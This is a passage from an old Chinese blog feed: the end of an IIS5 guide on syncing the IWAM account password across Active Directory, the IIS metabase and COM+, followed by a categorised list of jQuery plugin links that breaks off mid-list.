/>因iwam账号的密码由系统控制，随机产生，我们并不知道是什么，为完成下面两步的密码同步工作，我们必须将iwam账号的密码设置为一个我们知道的值。 </p><p>1、选择&ldquo;开始&rdquo;-&gt;&ldquo;程序&rdquo;-&gt;&ldquo;管理工具&rdquo;-&gt;&quot;active directory用户和计算机&quot;，启动&ldquo;active <br />directory用户和计算机&rdquo;管理单元。 <br />2、单击&ldquo;user&rdquo;，选中右面的&ldquo;iwam_myserver&rdquo;，右击选择&ldquo;重设密码(t)...&rdquo;，在跳出的重设密码对方框中给iwam_myserver设置新的密码，这儿我们设置成&ldquo;aboutnt2001&rdquo;（没有引号的），确定，等待密码修改成功。 </p><p><br />（二）同步iis metabase中iwam_myserver账号的密码 <br />可能因为这项改动太敏感和重要，微软并没有为我们修改iis <br />metabase中iwam_myserver账号密码提供一个显式的用户接口，只随iis5提供了一个管理脚本adsutil.vbs，这个脚本位于c:\inetpub\adminscripts子目录下（位置可能会因你安装iis5时设置的不同而有所变动）。 </p><p>adsutil.vbs脚本功能强大，参数非常多且用法复杂，这里只提供使用这个脚本修改iwam_myserver账号密码的方法: <br />adsutil set w3svc/wamuserpass password <br />&quot;password&quot;参数就是要设置的iwam账号的新的密码。因此我们将iis <br />metabase中iwam_myserver账号的密码修改为&ldquo;aboutnt2001&rdquo;的命令就是： <br />c:\inetpub\adminscripts&gt;adsutil set w3svc/wamuserpass &quot;aboutnt2001&quot; <br />修改成功后，系统会有如下提示： <br />wamuserpass: (string) &quot;aboutnt2001&quot; </p><p>（三）同步com+应用程序所用的iwam_myserver的密码 <br />同步com+应用程序所用的iwam_myserver的密码，我们有两种方式可以选择:一种是使用组件服务mmc管理单元，另一种是使用iwam账号同步脚本synciwam.vbs。 </p><p><br />1、使用组件服务mmc管理单元 <br />（1）启动组件服务管理单元：选择&ldquo;开始&rdquo;-&gt;&ldquo;运行&rdquo;-&gt;&ldquo;mmc&rdquo;，启动管理控制台,打开&ldquo;添加/删除管理单元&rdquo;对话框,将&ldquo;组件服务&rdquo;管理单元添加上。 </p><p>（2）找到&ldquo;组件服务&rdquo;-&gt;&ldquo;计算机&rdquo;-&gt;&ldquo;我的电脑&rdquo;-&gt;&ldquo;com+应用程序&rdquo;-&gt;&ldquo;out-of-process pooled <br />applications&rdquo;，右击&ldquo;out-of-process pooled applications&rdquo;-&gt;&ldquo;属性&rdquo;。 <br />（3）切换到&ldquo;out-of-process pooled <br />applications&rdquo;属性对话框的&ldquo;标志&rdquo;选项卡。&ldquo;此应用程序在下列账户下运行&rdquo;选择中&ldquo;此用户&rdquo;会被选中，用户名是&ldquo;iwam_myserver&rdquo;。这些都是缺省的，不必改动。在下面的&ldquo;密码&rdquo;和&ldquo;确认密码&rdquo;文本框内输入正确的密码&ldquo;aboutnt2001&rdquo;，确定退出。 </p><p>（4）系统如果提示&ldquo;应用程序被一个以上的外部产品创建。你确定要被这些产品支持吗？&rdquo;时确定即可。 <br />（5）如果我们在iis中将其它一些web的&ldquo;应用程序保护&rdquo;设置为&ldquo;高（独立的）&rdquo;,那么这个web所使用的com+应用程序的iwam账号密码也需要同步。重复（1）-（4）步，同步其它相应out <br />of process application的iwam账号密码。 </p><p>2、使用iwam账号同步脚本synciwam.vbs <br />实际上微软已经发现iwam账号在密码同步方面存在问题，因此在iis5的管理脚本中单独为iwam账号密码同步编写了一个脚本synciwam.vbs，这个脚本位于c:\inetpub\adminscripts子目录下（位置可能会因你安装iis5时设置的不同而有所变动）。 </p><p>synciwam.vbs脚本用法比较简单： <br />cscript synciwam.vbs [-v|-h] <br />&ldquo;-v&rdquo;参数表示详细显示脚本执行的整个过程(建议使用)，&ldquo;-h&rdquo;参数用于显示简单的帮助信息。 </p><p>我们要同步iwam_myserver账号在com+应用程序中的密码，只需要执行&ldquo;cscript synciwam.vbs <br />-v&rdquo;即可，如下： <br />cscript c:\inetpub\adminscripts\synciwam.vbs -v <br />microsoft (r) windows script host version 5.6 <br />版权所有(c) microsoft corporation 1996-2000。保留所有权利。 </p><p>wamusername:iwam_myserver <br />wamuserpass:aboutnt2001 <br />iis applications defined: <br />name, appisolated, package id <br />w3svc, 0, 3d14228c-fbe1-11d0-995d-00c04fd919c1} <br />root, 2, <br />iishelp, 2, <br />iisadmin, 2, <br />iissamples, 2, <br />msadc, 2, <br />root, 2, <br />iisadmin, 2, <br />iishelp, 2, <br />root, 2, <br />root, 2, </p><p>out of process applications defined: <br />count: 1 <br />3d14228d-fbe1-11d0-995d-00c04fd919c1} </p><p>updating applications: <br />name: iis out-of-process pooled applications key: <br />3d14228d-fbe1-11d0-995d-00c04fd919c1} </p><p>从上面脚本的执行情况可以看出，使用synciwam.vbs脚本要比使用组件服务的方法更全面和快捷。它首先从iis的metabase数据库找到iwam账号&quot;iwam_myserver&quot;并取出对应的密码&ldquo;aboutnt2001&rdquo;，然后查找所有已定义的iis <br />applications和out of process applications，并逐一同步每一个out of process <br />applications应用程序的iwam账号密码。 <br />使用synciwam.vbs脚本时，要注意一个问题，那就是在你运行synciwam.vbs之前，必须保证iis <br />metabase数据库与active directory中的iwam密码已经一致。因为synciwam.vbs脚本是从iis <br />metabase数据库而不是从active directory取得iwam账号的密码，如果iis <br />metabase中的密码不正确，那synciwam.vbs取得的密码也会不正确，同步操作执行到&ldquo;updating <br />applications&rdquo;系统就会报80110414错误，即&ldquo;找不到应用程序 <br />3d14228d-fbe1-11d0-995d-00c04fd919c1}&rdquo;。 </p><p>好了，到现在为止，iwam账号在active directory、iis <br />metabase数据库和com+应用程序三处的密码已经同步成功，你的asp程序又可以运行了！ </p><p>修改成功后，系统会有如下提示： <br />---------------------------------------------------<br />经过测试，显示应该是<br />wamuserpass: (string) &quot;*******&quot; <br />如果以上方法仍未尝试成功，可以采取临时解决方法，即右键点击站点，选择&ldquo;属性&rdquo;，在&ldquo;主目录&rdquo;标签下，有一个&ldquo;应用程序保护&rdquo;，将其改为&ldquo;低（IIS进程）&rdquo;即可，如有虚拟目录，也要改。这样应该可以正常访问了，当然，从安全角度来说，这只是临时解决方法，如果按上面的方法你尝试不成功，最后还是得重装IIS。一个重装过的朋友告诉我他重装的经验是，先卸载，再打SP3，然后重装。<br />&nbsp;<br /></p>]]></description><category>编程开发</category><comments>http://www.icdoor.com/z-blog/post/cat_9/2008/02/14/857.html#comment</comments><wfw:comment>http://www.icdoor.com/z-blog/</wfw:comment><wfw:commentRss>http://www.icdoor.com/z-blog/feed.asp?cmt=857</wfw:commentRss><trackback:ping>http://www.icdoor.com/z-blog/cmd.asp?act=tb&amp;id=857&amp;key=8c319d66</trackback:ping></item><item><title>强烈推荐：240多个jQuery插件  </title><author>a@b.com (naruYrY0Xa)</author><link>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/844.html</link><pubDate>Sun, 03 Feb 2008 20:03:11 +0800</pubDate><guid>http://www.icdoor.com/z-blog/post/cat_9/2008/02/03/844.html</guid><description><![CDATA[<h2>原帖地址：http://www.cnblogs.com/Terrylee/archive/2007/12/09/the-ultimate-jquery-plugin-list.html#Post<br /></h2><h2>概述</h2><p>jQuery 是继 prototype 之后又一个优秀的 Javascript 框架。其宗旨是&mdash;写更少的代码,做更多的事情。它是轻量级的 js 库(压缩后只有21k) ，这是其它的 js 库所不<a href="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/jquery_2.gif"><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" height="117" alt="jquery" src="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/jquery_thumb.gif" width="164" align="right" border="0" /></a>及 的，它兼容 CSS3，还兼容各种浏览器（IE 6.0+, FF 1.5+, Safari 2.0+, Opera 9.0+）。 jQuery 是一个快速的，简洁的 javaScript 库，使用户能更方便地处理 HTML documents、events、实现动画效果，并且方便地为网站提供 AJAX 交互。 jQuery 还有一个比较大的优势是，它的文档说明很全，而且各种应用也说得很详细，同时还有许多成熟的插件可供选择。 jQuery 能够使用户的 html 页保持代码和 html 内容分离，也就是说，不用再在 html 里面插入一堆js来调用命令了，只需定义 id 即可。今天在<a title="Logo Kollermedia.at" href="http://www.kollermedia.at/">Kollermedia.at</a>上发现了一篇JQuery插件列表的<a href="http://www.kollermedia.at/archive/2007/11/21/the-ultimate-jquery-plugin-list/" target="_blank">文章</a>，特推荐如下。</p><h2>文件上传(File upload)<a href="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/JQuery_001_6.gif"><img style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height="165" alt="JQuery_001" src="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/JQuery_001_thumb_2.gif" width="396" align="right" border="0" /></a></h2><p><a href="http://www.phpletter.com/Demo/AjaxFileUpload-Demo/">Ajax File Upload</a>.<br /><a href="http://www.pixeline.be/experiments/jqUploader/">jQUploader</a>.<br /><a href="http://www.fyneworks.com/jquery/multiple-file-upload/">Multiple File Upload plugin</a>.&nbsp; <br /><a href="http://www.appelsiini.net/projects/filestyle">jQuery File Style</a>.<br /><a href="http://jquery.com/plugins/project/InputFileCSS">Styling an input type file</a>.<br /><a href="http://digitalbush.com/projects/progress-bar-plugin">Progress Bar Plugin</a>. </p><h2>表单验证(Form Validation)</h2><p><a href="http://bassistance.de/jquery-plugins/jquery-plugin-validation/">jQuery Validation</a>.<br /><a href="http://www.dyve.net/jquery/?autohelp">Auto Help</a>.<br /><a href="http://www.willjessup.com/sandbox/jquery/form_validator/form_validate.html">Simple jQuery form validation</a>.<br /><a href="http://letmehaveblog.blogspot.com/2007/08/easy-client-side-web-forms-validations.html">jQuery XAV - form validations</a>.<br /><a href="http://itgroup.com.ph/alphanumeric/">jQuery AlphaNumeric</a>.<br /><a href="http://digitalbush.com/projects/masked-input-plugin">Masked Input</a>.<br /><a href="http://www.dennydotnet.com/post/TypeWatch-jQuery-Plugin.aspx">TypeWatch Plugin</a>.<br /><a href="http://jquery.com/plugins/project/TextLimiter">Text limiter for form fields</a>.<br /><a href="http://www.shawngo.com/gafyd/index.html">Ajax Username Check with jQuery</a>. </p><h2>表单－选取框(Form - Select Box stuff)</h2><p><a href="http://jquery.sanchezsalvador.com/page/jquerycombobox.aspx">jQuery Combobox</a>.<br /><a href="http://www.ajaxray.com/blog/2007/11/08/jquery-controlled-dependent-or-cascading-select-list-2/">jQuery controlled dependent (or Cascadign) Select List</a>.<br /><a href="http://code.google.com/p/jqmultiselects/">Multiple Selects</a>.<br /><a href="http://www.texotela.co.uk/code/jquery/select/">Select box manipulation</a>.<br /><a href="http://code.google.com/p/jqueryselectcombo/">Select Combo Plugin</a>.<br /><a href="http://www.msxhost.com/jquery/linked-selects/json/%20target=">jQuery - LinkedSelect</a><br /><a href="http://remysharp.com/2007/09/18/auto-populate-multiple-select-boxes/">Auto-populate multiple select boxes</a>.<br /><a href="http://www.sitespotting.it/esempi/002/">Choose Plugin (Select Replacement)</a>. </p><h2>表单基本、输入框、选择框等(Form Basics, Input Fields, Checkboxes etc.)</h2><p><a href="http://www.malsup.com/jquery/form/">jQuery Form Plugin</a>.<br /><a href="http://code.handlino.com/wiki/jquery-form">jQuery-Form</a>.<br /><a href="http://envero.org/jlook/">jLook Nice Forms</a>.<br /><a href="http://www.whitespace-creative.com/jquery/jNice/">jNice</a>.<br /><a href="http://www.brainfault.com/2007/07/07/pin-plugin-reloaded/">Ping Plugin</a>.<br /><a href="http://grzegorz.frydrychowicz.net/jquery_toggleformtext/">Toggle Form Text</a>.<br /><a href="http://thoughts.kuzemchak.net/entry/toggleval-for-jquery/">ToggleVal</a>.<br /><a href="http://www.pengoworks.com/workshop/jquery/field.plugin.htm">jQuery Field Plugin</a>.<br /><a href="http://code.befruit.com/">jQuery Form&rsquo;n Field plugin</a>.<br /><a href="http://www.texotela.co.uk/code/jquery/checkboxes/">jQuery Checkbox manipulation</a>.<br /><a href="http://www.alcoholwang.cn/jquery/jTaggingDemo.htm">jTagging</a>.<br /><a href="http://code.google.com/p/labelcheck/">jQuery labelcheck</a>.<br /><a href="http://scott.sauyet.com/thoughts/archives/2007/03/31/overlabel-with-jquery/">Overlabel</a>.<br /><a href="http://blog.amicoimmaginario.it/2007/08/28/jquery-plugin-3-state-radio-buttons/">3 state radio buttons</a>.<br /><a href="http://sanisoft-demo.com/jquery/plugins/shiftcheckbox/">ShiftCheckbox jQuery Plugin</a>.<br /><a href="http://digitalbush.com/projects/watermark-input-plugin">Watermark Input</a>.<br /><a href="http://kawika.org/jquery/checkbox/">jQuery Checkbox (checkboxes with imags)</a>.<br /><a href="http://www.softwareunity.com/sandbox/jqueryspinbtn/">jQuery SpinButton Control</a>.<br /><a href="http://www.phpletter.com/form_builder/demo.html">jQuery Ajax Form Builder</a>.<br /><a href="http://www.texotela.co.uk/code/jquery/focusfields/">jQuery Focus Fields</a>.<br /><a href="http://home.iprimus.com.au/kbwood/jquery/timeEntry.html">jQuery Time Entry</a>. </p><h2>时间、日期和颜色选取(Time, Date and Color Picker)</h2><p><a href="http://marcgrabanski.com/code/ui-datepicker/">jQuery UI Datepicker</a>.<br /><a href="http://kelvinluck.com/assets/jquery/datePicker/">jQuery date picker plugin</a>.<br /><a href="http://code.google.com/p/jquery-timepicker/">jQuery Time Picker</a>.<br /><a href="http://www.texotela.co.uk/code/jquery/timepicker/">Time Picker</a>.<br /><a href="http://www.oakcitygraphics.com/jquery/clockpick/ClockPick.cfm">ClickPick</a>.<br /><a href="http://labs.perifer.se/timedatepicker/">TimePicker</a>.<br /><a href="http://acko.net/dev/farbtastic">Farbtastic jQuery Color Picker Plugin</a>.<br /><a href="http://www.intelliance.fr/jquery/color_picker/">Color Picker by intelliance.fr</a>. </p><h2>投票插件(Rating Plugins)</h2><p><a href="http://www.phpletter.com/Demo/Jquery-Star-Rating-Plugin/#">jQuery Star Rating Plugin</a>.<br /><a href="http://www.m3nt0r.de/devel/raterDemo/">jQuery Star Rater</a>.<br /><a href="http://riderdesign.com/articles/displayarticle.aspx?articleid=21">Content rater with asp.net, ajax and jQuery</a>.<br /><a href="http://www.learningjquery.com/2007/05/half-star-rating-plugin">Half-Star Rating Plugin</a>. </p><h2>搜索插件(Search Plugins)</h2><p><a href="http://www.vulgarisoip.com/2007/08/06/jquerysuggest-11/">jQuery Suggest</a>.<br /><a href="http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/">jQuery Autocomplete</a>.<br /><a href="http://www.pengoworks.com/workshop/jquery/autocomplete.htm">jQuery Autocomplete Mod</a>.<br /><a href="http://www.ajaxdaddy.com/demo-jquery-autocomplete.html">jQuery Autocomplete by AjaxDaddy</a>.<br /><a href="http://dev.reach1to1.net/saurabh/jplugins/autocomplete/">jQuery Autocomplete Plugin with HTML formatting</a>.<br /><a href="http://interface.eyecon.ro/docs/autocomplete">jQuery Autocompleter</a>.<br /><a href="http://nodstrum.com/2007/09/19/autocompleter/">AutoCompleter (Tutorial with PHP&amp;MySQL)</a>.<br /><a href="http://rikrikrik.com/jquery/quicksearch/">quick Search jQuery Plugin</a>. </p><h2>编辑器(Inline Edit &amp; Editors)<a href="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/JQuery_002_2.gif"><img style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height="193" alt="JQuery_002" src="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/JQuery_002_thumb.gif" width="400" align="right" border="0" /></a></h2><p><a href="http://www.jaysalvat.com/jquery/jtageditor/">jTagEditor</a>.<br /><a href="http://demo.wymeditor.org/demo.html">WYMeditor</a>.<br /><a href="http://garage.pimentech.net/scripts_doc_jquery_jframe/">jQuery jFrame</a>.<br /><a href="http://www.appelsiini.net/projects/jeditable">Jeditable - edit in place plugin for jQuery</a>. <br /><a href="http://www.dyve.net/jquery/?editable">jQuery editable</a>.<br /><a href="http://www.jdempster.com/category/jquery/disableTextSelect/">jQuery Disable Text Select Plugin</a>.<br /><a href="http://15daysofjquery.com/edit-in-place-with-ajax-using-jquery-javascript-library/15/">Edit in Place with Ajax using jQuery</a>.<br /><a href="http://davehauenstein.com/blog/archives/28">jQuery Plugin - Another In-Place Editor</a>.<br /><a href="http://dev.iceburg.net/jquery/tableEditor/demo.php">TableEditor</a>.<br /><a href="http://joshhundley.com/teditable-in-place-editing-for-tables/">tEditable - in place table editing for jQuery</a>. </p><h2>多媒体、视频、Flash等(Audio, Video, Flash, SVG, etc)</h2><p><a href="http://www.contentwithstructure.com/extras/jmedia">jMedia - accessible multi-media embedding</a>.<br /><a href="http://sourceforge.net/projects/jbedit/">JBEdit - Ajax online Video Editor</a>.<br /><a href="http://www.sean-o.com/jquery/jmp3/">jQuery MP3 Plugin</a>.<br /><a href="http://malsup.com/jquery/media/">jQuery Media Plugin</a>.<br /><a href="http://jquery.lukelutman.com/plugins/flash/index.html">jQuery Flash Plugin</a>.<br /><a href="http://www.solitude.dk/archives/embedquicktime/">Embed QuickTime</a>.<br /><a href="http://keith-wood.name/svg.html">SVG Integration</a>. </p><h2>图片(Photos/Images/Galleries)</h2><p><a href="http://jquery.com/demo/thickbox/">ThickBox</a>.<br /><a href="http://leandrovieira.com/projects/jquery/lightbox/">jQuery lightBox plugin</a>.<br /><a href="http://blog.joshuaeichorn.com/archives/2007/01/11/jquery-image-strip/">jQuery Image Strip</a>.<br /><a href="http://www.gcmingati.net/wordpress/wp-content/lab/jquery/imagestrip/imageslide-plugin.html">jQuery slideViewer</a>.<br /><a href="http://benjaminsterling.com/2007/09/09/jquery-jqgalscroll-photo-gallery/">jQuery jqGalScroll 2.0</a>.<br /><a href="http://benjaminsterling.com/2007/10/02/jquery-jqgalviewii-photo-gallery/">jQuery - jqGalViewII</a>.<br /><a href="http://benjaminsterling.com/2007/10/21/jqgalviewiii-proof-of-concept/">jQuery - jqGalViewIII</a>.<br /><a href="http://opiefoto.com/articles/photoslider">jQuery Photo Slider</a>.<br /><a href="http://joanpiedra.com/jquery/thumbs/">jQuery Thumbs - easily create thumbnails</a>.<br /><a href="http://www.texotela.co.uk/code/jquery/jQIR/">jQuery jQIR Image Replacement</a>.<br /><a href="http://www.gmarwaha.com/jquery/jcarousellite/index.php#what">jCarousel Lite</a>.<br /><a href="http://projects.sevir.org/storage/jpanview/index.html">jQPanView</a>.<br /><a href="http://sorgalla.com/projects/jcarousel/#Examples">jCarousel</a>.<br /><a href="http://www.intelliance.fr/jquery/imagebox/">Interface Imagebox</a>.<br /><a href="http://www.getintothis.com/blog/2006/10/12/image-gallery-using-jquery-interface-reflections/">Image Gallery using jQuery, Interface &amp; Reflactions</a>.<br /><a href="http://realazy.org/lab/jquery/j-gallery/">simple jQuery Gallery</a>.<br /><a href="http://chicagosocial.com/gallery/">jQuery Gallery Module</a>.<br /><a href="http://www.eogallery.com/">EO Gallery</a>.<br /><a href="http://flesler.blogspot.com/search/label/jQuery.ScrollShow">jQuery ScrollShow</a>.<br /><a href="http://www.malsup.com/jquery/cycle/">jQuery Cycle Plugin</a>.<br /><a href="http://www.projectatomic.com/en/flickr.htm">jQuery Flickr</a>.<br /><a href="http://www.appelsiini.net/2007/9/lazy-load-images-jquery-plugin">jQuery Lazy Load Images Plugin</a>.<br /><a href="http://www.sunsean.com/zoomi/">Zoomi - Zoomable Thumbnails</a>.<br /><a href="http://remysharp.com/2007/03/19/a-few-more-jquery-plugins-crop-labelover-and-pluck/#crop">jQuery Crop - crop any image on the fly</a>.<br /><a href="http://jquery.com/plugins/project/reflection">Image Reflection</a>. </p><h2>Google地图（Google Map）</h2><p><a href="http://www.dyve.net/jquery/?googlemaps">jQuery Plugin googlemaps</a>.<br /><a href="http://code.google.com/p/jmaps/">jMaps jQuery Maps Framework</a>.<br /><a href="http://projects.sevir.org/storage/jqmaps/index.html">jQmaps</a>.<br /><a href="http://olbertz.de/jquery/googlemap.html#">jQuery &amp; Google Maps</a>.<br /><a href="http://snippets.dzone.com/posts/show/4361">jQuery Maps Interface forr Google and Yahoo maps</a>.<br /><a href="http://webrocket.ulmb.com/jmaps/">jQuery J Maps - by Tane Piper</a>. </p><h2>游戏(Games)</h2><p><a href="http://fmarcia.info/jquery/tetris/tetris.html">Tetris with jQuery</a>.<br /><a href="http://64squar.es/">jQuery Chess</a>.<br /><a href="http://www.bennadel.com/blog/623-jQuery-Demo-Mad-Libs-Word-Game.htm">Mad Libs Word Game</a>.<br /><a href="http://www.alexatnet.com/node/68">jQuery Puzzle</a>.<br /><a href="http://www.willjessup.com/sandbox/jquery/solar_system/rotator.html">jQuery Solar System (not a game but awesome jQuery Stuff)</a>. </p><h2>表格等(Tables, Grids etc.)</h2><p><a href="http://docs.jquery.com/Plugins/Tablesorter">UI/Tablesorter</a>.<a href="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/JQuery_003_2.gif"><img style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px" height="143" alt="JQuery_003" src="http://www.cnblogs.com/images/cnblogs_com/Terrylee/WindowsLiveWriter/240jQuery_128F5/JQuery_003_thumb.gif" width="400" align="right" border="0" /></a> <br /><a href="http://www.reconstrukt.com/ingrid/">jQuery ingrid</a>.<br /><a href="http://www.trirand.com/blog/?p=13">jQuery Grid Plugin</a>.<br /><a href="http://ideamill.synaptrixgroup.com/jquery/tablefilter/tabletest.htm">Table Filter - awesome!</a>.<br /><a href="http://dev.iceburg.net/jquery/tableEditor/demo.php">TableEditor</a>.<br /><a href="http://www.hanpau.com/jquery/unobtrusivetreetable.php">jQuery Tree Tables</a>.<br /><a href="http://www.javascripttoolbox.com/jquery/#expandablerows">Expandable &ldquo;Detail&rdquo; Table Rows</a>.<br /><a href="http://www.remotesynthesis.com/blog/index.cfm/2007/9/25/Sortable-Table-ColdFusion-Custom-Tag-with-jQueryUI">Sortable Table ColdFusion Costum Tag with jQuery UI</a>.<br /><a href="http://flesler.blogspot.com/2007/10/jquerybubble.html">jQuery Bubble</a>.<br /><a href="http://tablesorter.com/docs/">TableSorter</a>.<br /><a href="http://www.webtoolkit.info/demo/jquery/scrollable/demo.html">Scrollable HTML Table</a>.<br /><a href="http://p.sohei.org/stuff/jquery/columnmanager/demo/demo.html">jQuery column Manager Plugin</a>.<br /><a href="http://p.sohei.org/stuff/jquery/tablehover/demo/demo.html">jQuery tableHover Plugin</a>.<br /><a href="http://p.sohei.org/stuff/jquery/columnhover/demo/demo.html">jQuery columnHover Plugin</a>.<br /><a href="http://makoomba.altervista.org/grid/">jQuery Grid</a>.<br /><a href="http://motherrussia.polyester.se/jquery-plugins/tablesorter/">TableSorter plugin for jQuery</a>.<br /><a href="http://joshhundley.com/teditable-in-place-editing-for-tables/">tEditable - in place table editing for jQuery</a>.<br /><a href="http://www.hovinne.com/dev/jquery/chartotable/">jQuery charToTable Plugin</a>.<br /><a href="http://www.ita.es/jquery/jquery.grid.columnSizing.htm">jQuery Grid Column Sizing</a>.<br /><a href="http://www.ita.es/jquery/jquery.grid.rowSizing.htm">jQuery Grid Row Sizing</a>. </p><h2>统计图(Charts, Presentation etc.)</h2><p><a href="http://worcesterwideweb.com/2007/06/04/jquery-wizard-plugin/">jQuery Wizard Plugin </a>.<br /><a href="http://www.reach1to1.com/sandbox/jquery/jqchart/">jQuery Chart Plugin</a>.<br /><a href="http://ejohn.org/apps/speed/">Bar Chart</a>. </p><h2>边框、圆角、背景(Border, Corners, Background)</h2><p><a href="http://www.malsup.com/jquery/corner/">jQuery Corner</a>.<br /><a href="http://blue-anvil.com/archives/anti-aliased-rounded-corners-with-jquery">jQuery Curvy Corner</a>.<br /><a href="http://dev.jquery.com/%7Epaul/plugins/nifty/example.html">Nifty jQuery Corner</a>.<br /><a href="http://illandril.net/jQuery/transparentCorners/">Transparent Corners</a>.<br /><a href="http://www.methvin.com/jquery/jq-corner.html">jQuery Corner Gallery</a>.<br /><a href="http://blog.brandonaaron.net/my-jquery-plugins/gradient/">Gradient Plugin</a>. </p><h2>文字和超链接(Text and Links)</h2><p><a href="http://wanderinghorse.net/computing/javascript/jquery/spoilers/demo.html">jQuery Spoiler plugin</a>.<br /><a href="http://johannburkard.de/blog/programming/javascript/highlight-javascript-text-higlighting-jquery-plugin.html">Text Highlighting</a>.<br /><a href="http://www.jdempster.com/category/jquery/disableTextSelect/">Disable Text Select Plugin</a>.<br /><a href="http://www.texotela.co.uk/code/jquery/newsticker/">jQuery Newsticker</a>.<br /><a href="http://www.ollicle.com/2007/jun/03/jquery_lineheight_flexible.html">Auto line-height Plugin</a>.<br /><a href="http://agencenp.net/textgrad/textgrad.html">Textgrad - a text gradient plugin</a>.<br /><a href="http://kawika.org/jquery/linklook/">LinkLook - a link thumbnail preview</a>.<br /><a href="http://rikrikrik.com/jquery/pager/#examples">pager jQuery Plugin</a>.<br /><a href="http://rikrikrik.com/jquery/shortkeys/">shortKeys jQuery Plugin</a>.<br /><a href="http://www.ollicle.com/eg/jquery/biggerlink">jQuery Biggerlink</a>.<br /><a href="http://troy.dyle.net/linkchecker/">jQuery Ajax Link Checker</a>. </p><h2>鼠标提示（Tooltips）</h2><p><a href="http://bassistance.de/jquery-plugins/jquery-plugin-tooltip/">jQuery Plugin - Tooltip</a>.<br /><a href="http://www.codylindley.com/blogstuff/js/jtip/">jTip - The jQuery Tool Tip</a>.<br /><a href="http://examples.learningjquery.com/62/demo/index.html#examplesection">clueTip</a>.<br /><a href="http://edgarverle.com/BetterTip/default.cfm">BetterTip</a>.<br /><a href="http://ioreader.com/2007/05/15/flash-tooltips-using-jquery/">Flash Tooltips using jQuery</a>.<br /><a href="http://www.texotela.co.uk/code/jquery/tooltipdemo/">ToolTip</a>. </p><h2>菜单和导航(Menus, Navigations)</h2><p><a href="http://stilbuero.de/jquery/tabs_3/">jQuery Tabs Plugin - awesome! </a>. [<a href="http://stilbuero.de/jquery/tabs_3/nested.html">demo nested tabs</a>.]<br /><a href="http://blog.cutterscrossing.com/index.cfm/2007/6/15/Updated-JQuery-Nested-Tab-Set-with-Demo">another jQuery nested Tab Set example (based on jQuery Tabs Plugin)</a>.<br /><a href="http://www.sunsean.com/idTabs/">jQuery idTabs</a>.<br /><a href="http://jdsharp.us/jQuery/plugins/jdMenu/">jdMenu - Hierarchical Menu Plugin for jQuery</a>.<br /><a href="http://be.twixt.us/jquery/suckerFish.php">jQuery SuckerFish Style</a>.<br /><a href="http://bassistance.de/jquery-plugins/jquery-plugin-treeview/">jQuery Plugin Treeview</a>.<br /><a href="http://be.twixt.us/jquery/treeView.php">treeView Basic</a>.<br /><a href="http://labs.activespotlight.net/jQuery/menu_demo.html">FastFind Menu</a>.<br /><a href="http://www.getintothis.com/blog/2006/09/26/my-first-jquery-plugin-a-sliding-menu/">Sliding Menu</a>.<br /><a href="http://gmarwaha.com/blog/?p=7">Lava Lamp jQuery Menu</a>.<br /><a href="http://icon.cat/wiki/IconDock_En#iconDock_jQuery_Plugin">jQuery iconDock</a>.<br /><a href="http://cherne.net/brian/resources/jquery.variations.html">jVariations Control Panel</a>.<br /><a href="http://www.trendskitchens.co.nz/jquery/contextmenu/">ContextMenu plugin</a>.<br /><a href="http://p.sohei.org/jquery-plugins/clickmenu/">clickMenu</a>.<br /><a href="http://www.ndesign-studio.com/blog/mac/css-dock-menu">CSS Dock Menu</a>.<br /><a href="http://webexpose.org/2006/12/28/jquery-pop-up-menu-tutorial/">jQuery Pop-up Menu Tutorial</a>.<br /><a href="http://www.getintothis.com/blog/2006/09/26/my-first-jquery-plugin-a-sliding-menu/">Sliding Menu</a>. </p><p><a title="http://stilbuero.de/jquery/tabs_3/" href="http://stilbuero.de/jquery/tabs_3/">http://stilbuero.de/jquery/tabs_3/</a> </p><h2>幻灯、翻转等(Accordions, Slide and Toggle stuff)</h2><p><a href="http://bassistance.de/jquery-plugins/jquery-plugin-accordion/">jQuery Plugin Accordion</a>.<br /><a href="http://fmarcia.info/jquery/accordion.html">jQuery Accordion Plugin Horizontal Way</a>.<br /><a href="http://letmehaveblog.blogspot.com/2007/10/haccordion-simple-horizontal-accordion.html">haccordion - a simple horizontal accordion plugin for jQuery</a>.<br /><a href="http://dev.portalzine.de/index?/Horizontal_Accordion--print">Horizontal Accordion by portalzine.de</a>.<br /><a href="http://berndmatzner.de/jquery/hoveraccordion/">HoverAccordion</a>.<br /><a href="http://fmarcia.info/jquery/accordion.html">Accordion Example from fmarcia.info</a>.<br /><a href="http://blog.evaria.com/wp-content/themes/blogvaria/jquery/index.php">jQuery Accordion Example</a>.<br /><a href="http://jquery.com/files/demo/dl-done.html">jQuery Demo - Expandable Sidebar Menu</a>.<br /><a href="http://www.andreacfm.com/examples/jQpanels/">Sliding Panels for jQuery</a>.<br /><a href="http://jquery.andreaseberhard.de/toggleElements/">jQuery ToggleElements</a>.<br /><a href="http://www.ndoherty.com/demos/coda-slider/">Coda Slider</a>.<br /><a href="http://sorgalla.com/projects/jcarousel/#Examples">jCarousel</a>.<br /><a href="http://www.reindel.com/accessible_news_slider/">Accesible News Slider Plugin</a>.<br /><a href="http://icant.co.uk/sandbox/jquerycodeview/">Showing and Hiding code Examples</a>.<br /><a href="http://gsgd.co.uk/sandbox/jquery/easing/">jQuery Easing Plugin</a>.<br /><a href="http://sonspring.com/journal/jquery-portlets">jQuery Portlets</a>.<br /><a 